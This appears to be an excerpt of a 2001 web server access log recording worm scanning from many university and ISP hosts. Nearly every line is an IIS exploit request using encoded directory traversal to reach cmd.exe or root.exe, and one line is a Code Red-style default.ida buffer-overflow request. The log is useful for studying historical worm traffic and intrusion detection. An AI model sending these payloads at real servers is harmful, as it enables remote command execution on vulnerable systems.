  2927. 20010918 11:58:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2928. 20010918 11:58:38: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2929. 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2930. 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2931. 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2932. 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2933. 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2934. 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2935. 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2936. 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2937. 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2938. 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2939. 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2940. 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2941. 20010918 11:59:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2942. 20010918 11:59:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2943. 20010918 11:59:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2944. 20010918 11:59:59:  [206.107.235.113] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2945. 20010918 12:02:48:  [206.107.235.113] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2946. 20010918 12:03:07:  [206.107.235.113] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2947. 20010918 12:03:25: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2948. 20010918 12:03:25: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2949. 20010918 12:03:25:  [206.107.235.113] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2950. 20010918 12:03:43: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2951. 20010918 12:03:43: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2952. 20010918 12:03:43: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2953. 20010918 12:03:43:  [206.107.235.113] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2954. 20010918 12:04:05: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2955. 20010918 12:04:05: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2956. 20010918 12:04:05: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2957. 20010918 12:04:05:  [206.107.235.113] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2958. 20010918 12:04:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2959. 20010918 12:04:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2960. 20010918 12:04:23:  [206.107.235.113] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2961. 20010918 12:04:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2962. 20010918 12:04:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2963. 20010918 12:04:42:  [206.107.235.113] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2964. 20010918 12:05:00: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2965. 20010918 12:05:00:  [212.2.20.218] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2966. 20010918 12:05:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2967. 20010918 12:05:28:  [206.107.235.113] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2968. 20010918 12:05:46: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2969. 20010918 12:05:47:  [212.2.20.218] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2970. 20010918 12:06:05: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2971. 20010918 12:06:05:  [206.107.235.113] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2972. 20010918 12:06:23:  [212.2.20.218] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2973. 20010918 12:06:41:  [206.107.235.113] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2974. 20010918 12:06:59:  [212.2.20.218] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2975. 20010918 12:08:54:  [206.107.235.113] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2976. 20010918 12:09:13: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2977. 20010918 12:09:13:  [206.107.235.113] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2978. 20010918 12:09:31: webster.uihr.uiuc.edu [128.174.105.125] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2979. 20010918 12:09:31: webster.uihr.uiuc.edu [128.174.105.125] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2980. 20010918 12:09:31:  [206.107.235.113] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2981. 20010918 12:09:49: webster.uihr.uiuc.edu [128.174.105.125] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2982. 20010918 12:09:49: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2983. 20010918 12:09:50:  [206.107.235.113] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2984. 20010918 12:10:11: webster.uihr.uiuc.edu [128.174.105.125] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2985. 20010918 12:10:11: webster.uihr.uiuc.edu [128.174.105.125] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2986. 20010918 12:10:11: webster.uihr.uiuc.edu [128.174.105.125] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2987. 20010918 12:10:11: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2988. 20010918 12:10:11: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2989. 20010918 12:10:11: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2990. 20010918 12:10:12: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2991. 20010918 12:10:12: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2992. 20010918 12:10:12: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2993. 20010918 12:10:12: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2994. 20010918 12:10:12: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2995. 20010918 12:10:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2996. 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2997. 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2998. 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2999. 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3000. 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3001. 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3002. 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3003. 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3004. 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3005. 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3006. 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3007. 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3008. 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3009. 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3010. 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3011. 20010918 12:12:22: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3012. 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3013. 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3014. 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3015. 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3016. 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3017. 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3018. 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3019. 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3020. 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3021. 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3022. 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3023. 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3024. 20010918 12:14:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3025. 20010918 12:14:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3026. 20010918 12:14:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3027. 20010918 12:14:37: owen-a-111.resnet.purdue.edu [128.211.212.111] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  3028. 20010918 12:15:05: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3029. 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3030. 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3031. 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3032. 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3033. 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3034. 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3035. 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3036. 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3037. 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3038. 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3039. 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3040. 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3041. 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3042. 20010918 12:15:16: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3043. 20010918 12:15:16: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3044. 20010918 12:15:17: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3045. 20010918 12:21:12: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3046. 20010918 12:21:12: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3047. 20010918 12:21:12: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3048. 20010918 12:21:12: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3049. 20010918 12:21:12: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3050. 20010918 12:21:12: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3051. 20010918 12:21:13: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3052. 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3053. 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3054. 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3055. 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3056. 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3057. 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3058. 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3059. 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3060. 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3061. 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3062. 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3063. 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3064. 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3065. 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3066. 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3067. 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3068. 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3069. 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3070. 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3071. 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3072. 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3073. 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3074. 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3075. 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3076. 20010918 12:24:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3077. 20010918 12:26:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3078. 20010918 12:26:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3079. 20010918 12:26:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3080. 20010918 12:26:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3081. 20010918 12:26:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3082. 20010918 12:26:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3083. 20010918 12:26:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3084. 20010918 12:26:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3085. 20010918 12:26:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3086. 20010918 12:26:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3087. 20010918 12:26:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3088. 20010918 12:26:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3089. 20010918 12:26:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3090. 20010918 12:26:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3091. 20010918 12:26:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3092. 20010918 12:26:28: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3093. 20010918 12:27:44: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3094. 20010918 12:27:44: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3095. 20010918 12:27:45: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3096. 20010918 12:27:48: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3097. 20010918 12:27:48: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3098. 20010918 12:27:49: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3099. 20010918 12:27:49: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3100. 20010918 12:27:49: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3101. 20010918 12:27:49: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3102. 20010918 12:27:49: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3103. 20010918 12:27:52: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3104. 20010918 12:27:53: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3105. 20010918 12:27:53: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
